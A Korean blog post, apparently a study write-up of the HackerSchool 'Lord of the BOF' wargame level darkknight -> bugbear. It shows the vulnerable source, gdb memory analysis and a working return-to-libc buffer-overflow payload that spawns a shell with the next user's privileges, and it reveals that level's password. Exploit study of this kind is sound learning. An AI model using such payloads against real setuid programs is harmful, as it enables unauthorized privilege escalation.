[lob] 해커스쿨 darkknight -> bugbear 풀이
- 보안/HackerSchool-lob
- 2020. 1. 27. 00:24
l 해커스쿨 darkknight 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
darkknight 문제의 아이디인 darkknight 와 password인 new attacker 을 입력하여 darkknight의 유저로 접속합니다.
[darkknight@localhost darkknight]$ ls -l total 16 -rwsr-sr-x 1 bugbear bugbear 12043 Mar 8 2010 bugbear -rw-r--r-- 1 root root 385 Mar 29 2010 bugbear.c [darkknight@localhost darkknight]$ cat bugbear.c /* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
ls -l 명령어를 사용하여 현재 위치( /home/darkknight ) 아래에 있는 디렉터리의 목록을 확인합니다.
darkknight.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.
힌트 코드를 분석해보겠습니다.
1. argc는 2 이상이어야 합니다.
2. argv[1]의 48번째 문자가 \xbf면 안됩니다.
분석 결과 스택 영역을 사용할 수 없다는 것을 알 수 있습니다.
[darkknight@localhost darkknight]$ cp bugbear darkknight [darkknight@localhost darkknight]$ gdb darkknight GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048433 <main+3>: sub $0x2c,%esp 0x8048489 <main+89>: lea 0xffffffd8(%ebp),%eax 0x804848c <main+92>: push %eax 0x804848d <main+93>: call 0x8048370 <strcpy> ... |
gdb 실행 및 확인을 위해서 bugbear 파일을 복사해 darkknight 파일을 하나 생성해주었습니다.
darkknight 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.
1.0x8048433 <main+3>: sub $0x2c,%esp
0x2c를 10진수로 변환하면 44입니다. 스택에 총 44byte를 할당하였습니다.
2. 0x804848d <main+93>: call 0x8048370 <strcpy>
bugbear.c 파일에서 strcpy에 buffer와 argv[1] 두 개의 인자가 들어갑니다. 스택에 들어가는 순서는 argv[1], buffer 순서이기 때문에 <main+92>에서 push 되는 주소가 buffer의 시작 주소입니다.
11011000 => 00100111 => 00101000 => 8 + 32 = 40
따라서, buffer는 ebp - 40부터 시작됩니다.
기본적인 메모리 구조는 다음과 같습니다.
힌트에서도 나와있듯이 이번 문제는 RTL 기법을 사용해야 합니다. main의 ret 부분에 system 함수의 주소를 넣고, 인자로 /bin/sh를 넣어 셸을 취득하는 것이 최종 목표입니다.
(gdb) b *main+98 Breakpoint 1 at 0x8048492 (gdb) r `python -c 'print "A"*44+"BBBB"+"CCCC"+"\xbf\xbf\xbf\xbf"+"/bin/sh"'` Starting program: /home/darkknight/darkknight `python -c 'print "A"*44+"BBBB"+"CCCC"+"\xbf\xbf\xbf\xbf"+"/bin/sh"'` Breakpoint 1, 0x8048492 in main () (gdb) x/100x $esp 0xbffffa84: 0xbffffa90 0xbffffc14 0x40021ca0 0x41414141 0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffab4: 0x41414141 0x41414141 0x42424242 0x43434343 0xbffffac4: 0xbfbfbfbf 0x6e69622f 0x0068732f 0x00000002 0xbffffad4: 0x08048380 0x00000000 0x080483a1 0x08048430 0xbffffae4: 0x00000002 0xbffffb04 0x080482e0 0x080484dc (gdb) p system $1 = {} 0x40058ae0 <__libc_system> |
RTL 기법의 정의에 의해 파란색 네모가 system 함수의 주소가 들어갈 부분, 초록색 네모가 /bin/sh의 주소, 빨간색 네모가 /bin/sh가 들어갈 자리입니다.
40byte 4byte 4byte 4byte 4byte /bin/sh의 byte
[buffer] [sfp] [system 함수] [dummy] [&/bin/sh] [/bin/sh]
즉, 위와 같이 페이로드가 구성될 것입니다. /bin/sh가 시작되는 주소는 0xbffffac8이고, system 함수의 주소는 0x40058ae0입니다.
| 페이로드
./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`
[darkknight@localhost darkknight]$ bash2 [darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xc8\xfa\xff\xbf"+"/bin/sh"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAÈúÿ¿/bin/sh sh: AAAAAAAAAAAAÈúÿ¿/bin/sh: Permission denied Segmentation fault [darkknight@localhost darkknight]$ ./darkknight `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xc8\xfa\xff\xbf"+"/bin/sh"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAÈúÿ¿/bin/sh sh: AAAAAAAAAAAAÈúÿ¿/bin/sh: No such file or directory Segmentation fault (core dumped) |
위의 페이로드를 bugbear로 실행시켜보았지만 segmentation fault만 떠서 darkknight 파일로 다시 실행시켰습니다. core dumped가 떴으므로 정확한 주소를 찾아보겠습니다.
[darkknight@localhost darkknight]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./darkknight AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAÈúÿ¿/bin/sh'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/s $esp 0xbffffad4: "Èúÿ¿/bin/sh" (gdb) x/x 0xbffffad5 0xbffffad5: 0x2fbffffa (gdb) x/s 0xbffffad5 0xbffffad5: "úÿ¿/bin/sh" (gdb) x/s 0xbffffad6 0xbffffad6: "ÿ¿/bin/sh" (gdb) x/s 0xbffffad7 0xbffffad7: "¿/bin/sh" (gdb) x/s 0xbffffad8 0xbffffad8: "/bin/sh" |
core 파일을 이용해서 /bin/sh의 정확한 주소를 찾은 결과 0xbffffad8이 나왔습니다. 이제 이 주소를 위의 페이로드에서 \xc8\xfa\xff\xbf와 바꿔 실행시켜주겠습니다.
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xd8\xfa\xff\xbf"+"/bin/sh"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAØúÿ¿/bin/sh bash$ id uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight) bash$ my-pass euid = 513 new divide |
위의 페이로드를 넣고 id 명령을 입력하니 euid가 bugbear인 것을 볼 수 있습니다. my-pass 명령을 이용해 bugbear user의 password를 찾았습니다.
l bugbear 비밀번호
euid = 513
new divide
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 giant -> assassin 풀이 (0) | 2020.01.30 |
---|---|
[lob] 해커스쿨 bugbear -> giant 풀이 (0) | 2020.01.29 |
[lob] 해커스쿨 golem -> darkknight 풀이 (0) | 2020.01.25 |
[lob] 해커스쿨 skeleton -> golem 풀이 (0) | 2020.01.22 |
[lob] 해커스쿨 vampire -> skeleton 풀이 (0) | 2020.01.21 |
이 글을 공유하기